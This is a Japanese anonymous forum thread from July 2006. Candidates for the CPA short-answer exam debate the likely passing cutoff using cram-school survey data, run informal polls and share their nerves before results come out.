165 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 13:35:59 ID:???
正直68〜72の人は怖くて短答スレなんか見れないし、
見ててもレスなんかできないと思う。
73以上でまあ受かったと思うから投票とかできるでしょ?みんな。

166 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 13:37:19 ID:???
>>165
68〜72点あたりの人こそこのスレを見るんじゃないかい?

167 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 13:37:49 ID:???
72〜73は、70基準と例年のボーダーと試験委員増の
折衷ラインだろうな。

70は70基準にこだわったことを想定したライン。

当局の揺れる判断なんて完全に予測できないし
どっちも説としてはありだろう。

168 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 13:37:58 ID:???
過去6年間のボーダーって、大原の提出者平均(小数点以下四捨五入)+1点と見事に合致してるね。
今年で言えば、71.4→71に+2点加えた73か。

169 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 13:38:28 ID:???
加重平均で予想ボーダーを計算すると
72×3/6+73×2/6+70×1/6=72

よってボーダー72で決めていいか?

170 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 13:40:00 ID:moOVN+LN
ID晒し投票:
75:
74:■
73:■■■
72:■■■
71:
70:■
69:
68:
67:
66




171 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 13:40:30 ID:???
サンプルがまだたりないぜ

172 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 13:42:08 ID:???
おれ今日全然勉強してないぜ。T77 O79のものだが

173 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 13:42:17 ID:???
そのうち飽きるだろw

174 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 13:43:09 ID:???
発表までの時間カウントダウンも定期的にしてくれると嬉しい。

175 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 13:43:31 ID:???
>>168
05年の資料を見ると、大原の予想ボーダーは、3つの基準で決められるみたい。
@予想ボーダーラインは、大原の解答調査の提出者平均正答数に1問を加えた問数になる。
A予想ボーダーラインは、大原の解答調査提出者全体のうち、上位52%〜56%の間に存在する。
B予想ボーダーラインは、大原の解答調査提出者の偏差値51〜52台に相当する問数になる。

今年への当てはめは暇な人がやってくれ。

176 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 13:43:39 ID:???
>>165
tacでもo原でも73以上なら当確でいいですか?

177 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 13:44:53 ID:???
っていうか、合格してるだろうから、発表は見ないで配達記録待ち。

178 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 13:46:05 ID:???
>>175
@72.4
A73
B73
よって73か

179 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 13:46:06 ID:???
>>177 マークミスや名前書き忘れありうる。

180 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 13:47:57 ID:???
>>178
乙!大原73以上は当確だね。

181 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 13:49:02 ID:???
大原は監査19を二つ正解にしてるし74はもう完全に無いかな。

182 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 13:50:57 ID:???
疑義込みの75のやつらも
ドキドキしてるんだろうな

183 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 13:51:37 ID:???
>>175
より詳細に。
@73.4 →四捨五入で73
A73 →上位54.3パーセント
B73 →偏差値51.3
よって73か。

184 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 13:52:02 ID:???
O79は大丈夫?不安なんだが。。

185 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 13:53:35 ID:???
>>184
君はマークミスしてる

186 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 13:53:50 ID:???
>>182
一番怖いのは監査19入れて73のやつか…。
それとサプライズ管理3をいれて73のやつか…。

187 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 13:56:23 ID:???
勉強今日はしないぜ〜〜〜〜

188 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 13:59:21 ID:???
>>175
ちなみに72点なら
@
A上位58.3パーセント
B偏差値50

70なら
@
A66.7パーセント
B偏差値48

こう見ると1点は重いな。

189 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 13:59:50 ID:???
監査はAXLが一番正確。

190 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 14:02:30 ID:???
2ちゃんボーダー決定??

191 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 14:03:26 ID:???
一点に300人いるとして、今年は4000人合格と仮定すれば、
例年基準の73点で3300人前後。そこからどう下がるか?
一点に何人いるかがかぎだな。

ちなみに俺は、
4000人合格はありえると思うし、来年担当合格者が3500人
に下がっても驚かない。
今年短答上位2500人が来年短刀免除だから、来年の短刀合格者
は減少するのが通常だろう。

192 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 14:04:24 ID:???
シャーペンでマークしちゃったけど大丈夫かなぁ。
読み取り落ちされてたらどうしよう・・・心配。

193 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 14:04:39 ID:???
>>188
1/100問がこれほど重いとは。1,2問くらい、どんな奴でもケアレスミスしてるだろうに。

194 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 14:06:07 ID:zIA1oWg8
ID晒し投票:
75:
74:■
73:■■■
72:■■■■
71:
70:■
69:
68:
67:
66


195 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 14:07:03 ID:???
今年の短答落ちは
少なくとも再来年まで受験勉強する覚悟は必要だよ。
来年は明らかに不利な立場で受験しなければならないしね。


196 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 14:08:00 ID:???
大原73でいい線いってると思うが今年は疑義モンがあるので 大原75が当確
でいいよな???

197 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 14:08:10 ID:???
いつも71がスルーされてるw

198 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 14:08:33 ID:???
いいよな、明日から夏休みになる奴がいるんだもんな。

199 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 14:09:06 ID:???
永遠の夏休みにならなければいいのだが・・・・

200 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 14:09:59 ID:???
例えば今年3回目とかで短答落ちしたら、
撤退したほうがいいよな。
来年は絶望的だし、5回目以上ともなると精神的におかしくなりそう。

201 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 14:10:47 ID:???
徹夜して9時を迎える猛者とか毎年居るの?

202 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 14:11:09 ID:???
俺は受験3回目でおかしくなったぞ

203 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 14:11:47 ID:???
>>196
監査19と管理3を除いて73なら平気じゃないか?
逆に監査19と管理3をいれた場合は75必要じゃないか?
まぁ少し合格者増えるから安心だよ72位までは。
ただ70前後は1点にかなり沢山いるみたいだからそんなに下がらないとは思う。


204 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 14:11:49 ID:???
合格→自習質
落ち→風俗

準備オケー

205 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 14:12:29 ID:???
例年基準で73決定か・・・・
今年は下げ圧力が例年より高いとはいっても
最高に下がっても69くらいまでかなぁ

206 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 14:14:00 ID:???
2ちゃんボーダーはなんてん?

207 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 14:14:06 ID:???
司法の市販の合格体験記見るとすさまじいよな。
同志社大卒。
短答式12回・論文式7回
とか、
早稲田大卒。
短答式8回・論文式5回
とか。


208 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 14:15:52 ID:???
>>207
みてるだけで疲れるからやめてくれ

209 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 14:17:39 ID:???
下げ圧力が働いてる根拠ないだろ
例ねんと同じだよ
2年も免除あるんだからな

210 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 14:18:01 ID:???
まあ受験3回目以上が今年のレベルの短答で落ちてたら
撤退すべきだよね。
問題数も増えたし問題も標準的になったしこれで落ちたら明らかに実力不足。

211 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 14:19:17 ID:???
>>206
2chボーダーは専門と違ってぶっちゃけで行きたいので
o原採点監査19抜きで73(出来れば管理3も抜いて欲しいが…)で決定
します。
ボーダー予想して、ボーダー以上で落ちてたらその人は困ると思うから去年基準
を守って73で確実に行くのがいいと思う。


212 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 14:20:08 ID:???
大原やTACでさえ合格者増を予想してるんだし増えるんじゃないの?
そもそも免除込みで73だと難化みたいなもんだしな。

213 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 14:20:20 ID:???
官報って6日出るんだよね?
友人・先輩の合否をチェックしたいんだけど。

214 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 14:20:23 ID:nmf3SigB
ボーダー58って聞いたが

215 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 14:21:02 ID:???
監査19はまだしも管理3がなんで疑義扱いなの?
よっぽど監査13と14のほうが疑義だろ。

216 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 14:21:22 ID:???
・2年も免除
・アカスク
・免除者

この時点で例年と同じボーダーでも将来的な合格者増にはつながるだろ。
今年受験の奴らだけのための新試験制度じゃないんだよ

217 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 14:21:28 ID:???
今日は勉強してないよな??おまいら

218 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 14:21:57 ID:???
下げ圧力の意味が違ってる人がいる・・・
専門もどの講師も予想している合格者増のことだよ
去年基準より下がる可能性が高いだろ?



219 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 14:22:27 ID:???
大原採点で73以上あるけど安心していいんか

220 :2chボーダー決定:2006/07/04(火) 14:22:32 ID:???
2chボーダーは専門と違ってぶっちゃけで行きたいので
o原採点監査19抜きで73(出来れば管理3も抜いて欲しいが…)で決定
します。
ボーダー予想して、ボーダー以上で落ちてたらその人は困ると思うから去年基準
を守って73で確実に行くのがいいと思う。



221 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 14:23:58 ID:???
>>220
待て待て、
疑義ヌキで73じゃちょっと高すぎるべ?

222 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 14:24:11 ID:???
みんな有利解釈だね〜。
明日の結果が楽しみだ。

223 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 14:25:08 ID:???
この時期になって疑義疑義うっせーなー。
女々しい奴らだ。

224 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 14:25:15 ID:???
・2年免除が合格者数増と結びつくか不明だな

・アカス区と免除者が合格者増につながるのは同意
⇒短刀は増やす必要ないだろという君の理論から推測するに

そうか・・・会計士法改正は、
免除者を増やすための骨太改革だったのか?

225 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 14:25:47 ID:???
専門が合格者増を言ってるけど、
去年までも「30点以上は可能性あり、論文対策に励め」
といわれ続けたことを知ってるよね?

226 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 14:26:13 ID:???
だから当確は73だ。
72以下はないとは言ってない。
人数が増えれば自ずと合格者は増えてボーダーは72以下になってるよ。
可能性のボーダーよりはデータに裏づけられた73がいいだろ。
ただ1点がこんなに重いなんてな。

227 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 14:26:54 ID:???
大原は70予想みたいだな。
70の文言が去年の34と同じだ。

228 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 14:27:35 ID:???
70以下のリサーチが今年は減少してるって話はどうなったの???

229 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 14:27:56 ID:???
ボーダーどうでもいいから疑義問のほうをしっかりしてくれ
どう考えても疑義じゃないのはどれだか
おしえて

230 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 14:28:17 ID:???
73は安心、それ以下は合格者次第だろ?
短答後の2ちゃんで見たボーダー予想と変わらないなw
あの時も72くらいだった。

もはや議論する価値なしなのに1月続いたのは、
いかに70前後の奴が多いかを物語っているな

231 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 14:30:31 ID:???
大原基準で73は当確か
3つにあてはめたんだな

232 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 14:30:40 ID:???
金融庁サプライズがある限り潜在的には全て疑義問


233 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 14:31:19 ID:???
>>227
俺も70が一番確率高いと思っている
発表日に、
「結局、点数基準か人数基準なのかわからねえじゃねえか!」
というレスが飛び交うのがイメージできる

>>228−229
70以下のリサーチ提出減とかは抜きで73なんだろ?
その辺入れるのなんてもうどうでもいいんじゃねえ?
義疑問なんてどれかわかるはずねえだろ金融庁に聞け

234 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 14:31:21 ID:???
>>213
「友人」なら直接聞けよw

235 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 14:31:31 ID:???
今日から明日の発表までは勉強休むよ・・
明日からやっと本腰いれられるな。死ぬ気で勉強する

236 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 14:31:53 ID:???
7割行く奴は監査19を2択までに絞れてるやつが多いだろうから
oはラで74(監査19含めてる場合)かな?

まあ合格発表前に2chボーダー73を決定できてよかった。

237 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 14:32:10 ID:FcsYodgp
果たして先生になれるかな
あと1日

238 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 14:32:15 ID:???
こんなとこでいくらボーダー予想しても む だ 。



合格者増の79だと思うよ。

239 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 14:32:19 ID:???
>>224
そもそも新試験制度の趣旨は、
・受験者増を前提とした合格者増
・無職の受験生を減らす
・他分野のスペシャリストから目指してもらう(免除者)
なんだが。

240 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 14:33:12 ID:???
ボーダー予想
TAC 70前後
大原 70前後
LEC 70前後
CPA 66〜68
クレ ?

どこも逃げばっかりだなw

241 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 14:34:02 ID:???
>>213
君、俺の友達?去年も受かったら友達から「おめでとう」
ってメールきた。もし友達なら言っておくが、俺は失敗した
からギリギリでどうなるかわからないです

こんな奴多いだろうね、官報のおかげで

242 :受験1回目(全答300位):2006/07/04(火) 14:35:01 ID:???
自分の疑義抜き点数
企業:18点
監査:12点
管理:18点
財務:30点 合計78点

予備校多数派解答採点
企業:18点
監査:14点
管理:19点
財務:31点 合計82点

これだけとれてれば大丈夫だよね?
昨日まではみっちり論文対策やってたけど、
今日になってマークミスや名前書き忘れが不安になったので、ここにきた。
ボーダー低い(高くても73?)ようなのでちょっと安心したけど。
マークミスしてないといいなあ。

243 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 14:35:42 ID:???
今日から明日の発表までは勉強休むよ・・
明日からやっと本腰いれられるな。死ぬ気で勉強する




244 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 14:38:25 ID:FcsYodgp
>>242
てんめえ余裕じゃないか

245 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 14:39:19 ID:???
2chボーダー73だ。これ以外認めない。

72以下を主張するなら合格者増での希望的観測をこめること。
去年までなら73なんだから。
確かTACのリサーチも73からA判定だったような。
ここからも73は当確。
2chは確実性を期すためボーダーは73とします。

246 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 14:40:02 ID:???
>>245
異議なし!

247 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 14:40:40 ID:???
>>246自演乙だが。。俺も同意。

248 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 14:40:54 ID:???
>>245
学級代表に立候補したことあるでしょ

249 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 14:42:32 ID:???
>>239
・受験者増を前提とした合格者増
これが趣旨なら今年の短答合格者は去年の率と同じ
3650人程度になるな。免除抜きで。ただし、受験者はあまり
増えないだろう。合格者増が目に見えない限り。

・無職の受験生を減らす
無職の受験生を減らしたいなら、短答合格者を増やして
短答免除にさせて働かせる以外ないな。現行

・他分野のスペシャリストから目指してもらう(免除者
無職減らしたいなら、免除者を増やすってのはありかもな

他分野のスペシャリストつっても、アカスクのことですかって
突っ込みどころはあるけどな。

一応君の説にのって答えたが、そもそも「社会人経験者」
も増やすんじゃなかったか?

250 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 14:42:56 ID:???
>>247
俺245だけど、246のレスは俺じゃない。

251 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 14:44:24 ID:???
246は俺だよ。245≠246です。

どちらにしても73で異議はないよ。

252 :受験1回目(全答300位):2006/07/04(火) 14:44:30 ID:???
>>244
そうなんだけど、
大学受験時代にセンター本試験の数学TAで途中から一段塗り間違えた経験があって、
それがきっかけで慶応法A方式を落ちた痛い記憶があったので、
今回は注意して縫ったつもりだけど、今になって不安になってきた。



253 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 14:44:49 ID:???
2ch簿だ73
現実70〜71
例年通り2ちゃんボダより数点下となります。

254 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 14:45:27 ID:???
>>252
マーク、見直す時間たっぷりあったじゃん。
見直しもせず途中退室したのか?

255 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 14:45:36 ID:???
TACのA判定は72からだっけ?

256 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 14:45:40 ID:???
64〜76まで。今年はいろいろありましたw

257 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 14:46:11 ID:???
>>248
いつも学級委員やってた。

258 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 14:46:22 ID:???
??253

そうなるだろうなw


259 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 14:48:51 ID:???
>>255
ずっと73からだと言ってます。
72.6からA判だけどそんな点ないから73からA判です。

260 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 14:50:22 ID:???
あと約18時間です。

261 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 14:52:16 ID:???
疑義抜き69だから69でお願いします。
落ちたらコネで就職なんですけど、それは嫌なんで簿記の神様69で。

262 :受験1回目(全答300位):2006/07/04(火) 14:53:05 ID:???
>>254
確かにね。
まあミスしてないとは思うんだけど。。。
大学受験時代から二次みたいな論文形式は強いんだけど、マーク式はどうもねえ。



263 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 14:53:06 ID:???
疑義込みマイナス1点が正味点数じゃねーの

264 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 14:53:21 ID:???
>>今日 みんなを勉強させないようにしたら 受からせてあげる

265 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 14:53:56 ID:???
今日から明日の発表までは勉強休むよ・・
明日からやっと本腰いれられるな。死ぬ気で勉強する




266 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 14:56:22 ID:???
ああ気持ちわるい
おえっ おえっってなる
財務の解答速報まちの時もこうだった
早く発表してくれや

267 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 14:56:34 ID:???
なんかさぁ
この板で頑張って誘導して2ちゃんボーダーを決定し
他スレにまで宣伝してるやつってさ
嬉しいんだろうな
そいつにとって実生活では得られない快感なんだろうなw

268 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 14:59:04 ID:???
でも、まぁ、73は2chボーダーとして堅い線だわね。

269 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 14:59:43 ID:???
去年は2ちゃんぼーだーいくつだったの
おしえて

270 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 14:59:51 ID:???
論文ボーダーってもう(自己)採点その他の不確定要素が多すぎて
議論する気になれないが、短答ボーダー議論は面白いね。
俺は少なくとも短答は今年合格しそうだが、来年の短答発表のときも
のぞきに来よう。

271 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 15:00:19 ID:???
さて、明日から完全勉強モードに入る準備するか

272 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 15:00:34 ID:???
>>270
36だっけか?

273 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 15:02:23 ID:???
まぁ2ちゃんボーダーとしては73が妥当だね。
去年2ちゃんボーダー36とかで、実際34だった
ことを考えると、今年は実際は69までは可能性ありか?

274 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 15:04:08 ID:???
73確定〜69まで希望あり(明日絶望?)ってことでFAだろうな

275 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 15:05:27 ID:???
>>241
いや木曜に3,4年生合同のゼミがあるんだけど、
その前に官報で先輩や友人の合否をチェックしておいて、
受かった人と落ちた人の後ろ姿の差を見てみたいと思って。
3年が受かって4年が落ちたら屈辱なんだろね。


276 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 15:06:48 ID:???
>>274
それ結局専門の70前後じゃねーかw

277 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 15:07:01 ID:???
>>273
発表されるボーダーの可能性として73〜70の間隔は近いが
70と69の間隔は非常に遠い。

278 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 15:07:18 ID:???
2chボーダー73はきちんとデータからとって算出した客観的かつ
確実性のある予測だからな。
去年基準で算出している分ボーダー73以上の確率は少ないし、
72以下にも合格者増なら可能性も残される。
その意味で極めて妥当なボーダー予測が出来たと思う。

2chボーダー70とかにしたら専門と変わらないし、ぶっちゃけが無くて
面白くない。また、70なのに落ちてるなんて書き込みが増えるよりも72なのに
受かってたよって書き込みが多いほうが明日みんなハッピーでいい。


279 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 15:10:29 ID:???
ではそろそろお開きにしますね

280 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 15:12:39 ID:???
>>278
>2chボーダー73はきちんとデータからとって算出した客観的かつ
 確実性のある予測だからな。

きちんとデータからとったっていうのは>>175のこと?
大原が結局この基準で予想しなかったことを考えると
客観的かつ確実性があるとは思えないけどなw

281 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 15:12:45 ID:???
ジーコはフェネルバフチェの監督就任濃厚みたいだな。

282 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 15:15:05 ID:???
>>278
部長をやりたくないがために会計に積極的に立候補してただろ

283 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 15:17:33 ID:???
>>280
>大原が結局この基準で予想しなかったことを考えると

っていうのは金融庁の7割を基準としてと言う文言と
合格者増を考えたからだよ。
去年なら73と大原も予測してたよ。間違いなくね。

284 :平澤:2006/07/04(火) 15:17:57 ID:???
ボーダーは70を切ります

285 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 15:21:25 ID:???
とにかく、2chボーダーは実際ボーダーより上じゃなきゃダメなんです><
とにかく、2chボーダーが当たってしまってはダメなんです><
とにかく、「結局今年も2chボーダーマイナス〜問だね」って言いたいんです><


286 :金子:2006/07/04(火) 15:22:05 ID:???
イチローは素晴らしい3割打者です。
目安の7割というのもそういう意味です。


287 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 15:22:05 ID:???
ボーダー73!!!  おまいら祭りだぜ〜〜〜orz


288 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 15:24:06 ID:???
あしたはおまつり

289 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 15:26:11 ID:???
祭りだ〜ワッショイワッショイ

290 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 15:27:12 ID:???
生ビールパーティー

291 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 15:27:13 ID:???
>>283
そうだよ。金融庁の7割基準に従っただけ。
結局リサーチしても何も分からなかったってことだよ。
だから去年と比較しても意味ないんだけど、大原は
毎年>>175の基準で判定してたため、その結果を
リサーチに当てはめるとボーダーはそうとう高くなる
といわざるをえないって言ってんだよ。
でも結局はそれが正しいのか大原も分かってないから採用
しなかった。
だから、去年なら73と予測してたっていうのは、無意味。
間違いなくねw


292 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 15:28:07 ID:???
2チャンボーダーはガチだぞ?

293 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 15:32:01 ID:???
>>291
だから2chは確実に行くために73をボーダーにしたんでしょ。
70基準っていったら予想も糞もない。文言通り。
予想というのは〜点と断言しないとね。

294 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 15:34:23 ID:???
73なんて確実すぎて予想にもならんだろ。
有利差異がでるか不利差異が出るかぎりぎりのところでないと。

295 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 15:38:59 ID:???
>>293
>だから2chは確実に行くために73をボーダーにしたんでしょ。
>>278
>去年基準で算出している分ボーダー73以上の確率は少ないし、
 72以下にも合格者増なら可能性も残される。
 その意味で極めて妥当なボーダー予測が出来たと思う。

君、ボーダーの概念間違ってるよね?
ボーダーってそもそも合格最低ラインを予想するもんでしょ?w
ボーダー上の受験生までは合格って。
その意味では極めて妥当とはいえないからw
まぁこんなこと議論しててもそれこそ無意味だけどさw

296 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 15:40:57 ID:???
もうまったり行こうよ。どうせあと一日なんだし。
とりあえず69の俺は疑義からチェックだ。
これで70いければ次にボーダーチェックだ。

297 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 15:43:35 ID:???
>>293
確実にしたいなら全疑義ヌキで75はいるだろ
俺はボーダーは74、70、68のどれかと思う
74→去年基準3200(25%)
70→やや増加4500(50%)
68→大幅増加5000(25%)


298 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 15:43:58 ID:???
>>281
大スポによると、ジーコはブラジル代表監督だと。

299 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 15:45:52 ID:???
そうか!

疑義っていっても、どこの予備校も正解にしていない
解答を選んでいる人もいるんだね!

300 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 15:47:06 ID:???
今年解答でるんだ?去年はなかったよね?

301 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 15:47:54 ID:???
去年も解答でてたぞ

302 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 15:50:12 ID:???
>>297
そうかもな。75は必要かもな。
でも75とかいうとソース、ソースとすごいから。
去年の大原基準(ソース)で73といっただけ。
それをたたかれちゃどうにもならんな。

>俺はボーダーは74、70、68のどれかと思う

の方が全然主観的だがね………

303 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 15:51:16 ID:???
>>301
そうなんだ。去年はまっさきに受験番号さがしに
いったから気づかなかったw

304 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 15:51:33 ID:???
2年目以降70〜74が多い。その中で半分はまず受かりそう。
72、合格者増で71〜70.

305 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 15:52:06 ID:???
>>284
肢ね

306 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 15:56:09 ID:???
みんなリサーチに大原基準を当てはめてボーダー予想
したいみたいだけど、なんで講師のボーダー予想は
無視するんだ?大原、LEC、CPAが70未満でTACが70以上
を予想してるけど、それから見ると、70以上の方が
少数派だぞ?

307 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 15:59:38 ID:???
60台は思いのほか少なくていても67〜69ばかり。
そして68〜72辺りは最激戦区で1点に500人いるとの噂も。


308 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 16:01:21 ID:???
大原のデータリサーチ手元にあるがボーダー予想は
70〜71.9999がボーダーといってるよ。60台なんてどこにも書いてない。

309 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 16:05:15 ID:???
>>308
解答冊子の座談会で講師が予想したボーダーだよ。
企16 監12 管12 財25 計65

って書いてある。

310 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 16:07:29 ID:???
>>306
LECとCPAの予想は使えないだろ。
ていうかそもそも講師のボーダー予想てそんなに参考になるの?
やっぱリサーチの人数具合を見て判断すべきじゃないか?

311 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 16:10:37 ID:???
つうか今年に限っては何の参考にもならんって何回言ったら・。。w

ボーダー予測自体ばかげてる
まともなソースなんてありゃしない
予測は経験から来るものだが(統計であっても)、今年はその
元となる資料の信頼性・基礎的前提に乏しい

ってことで専門学校は70にしたのね

312 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 16:11:39 ID:???
そこを敢えて73と予測した2chは偉いな。

313 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 16:12:09 ID:???
>>310
去年は大原の講師ボーダーどんぴしゃだったよ。
70%基準でリサーチに多少の偏りがある可能性を
考えれば、問題難易度から予測する講師ボーダーは
意外と参考になるんでない?主観は去年と今年で
それほど違わないだろうから。

314 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 16:12:25 ID:???
最激戦区68〜72なら、69になるな。
去年の最激戦区33〜36で33(34)だったしな
まぁリサーチでは37〜39も多かったが

315 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 16:15:05 ID:???
昔からボーダーとくれば大原。
1点の狂いもなく当ててくる。
その大原が70前後って言ってるのなら、70前後としか予測できないな。

316 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 16:15:46 ID:???
>>313
TACも去年の講師予想ボーダー当ててたよ
そうなると76もありうるになるじゃんかよ

317 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 16:17:07 ID:QqK3IOG+
ID晒し投票 合格者数編
6000
5500
5000
4500
4000☆
3500
3000

318 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 16:17:43 ID:???
>>315
長い受験生活おつかれさまです

319 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 16:18:07 ID:QqK3IOG+
:つけるの忘れた

ID晒し投票 合格者数編
6000:
5500:
5000:
4500:
4000:☆
3500:
3000:

320 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 16:19:24 ID:O9jEaZh0
ID晒し投票 合格者数編
6000:
5500:
5000:
4500:
4000:☆
3500:☆
3000:


321 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 16:19:30 ID:???
>>316
そうなると去年のCPA、LECの講師ボーダーが
気になるなw ただ、76はあのリサーチに当てはめても
高いんだから疑義問と同様にTAC講師がやっちまったんで
ないか?w

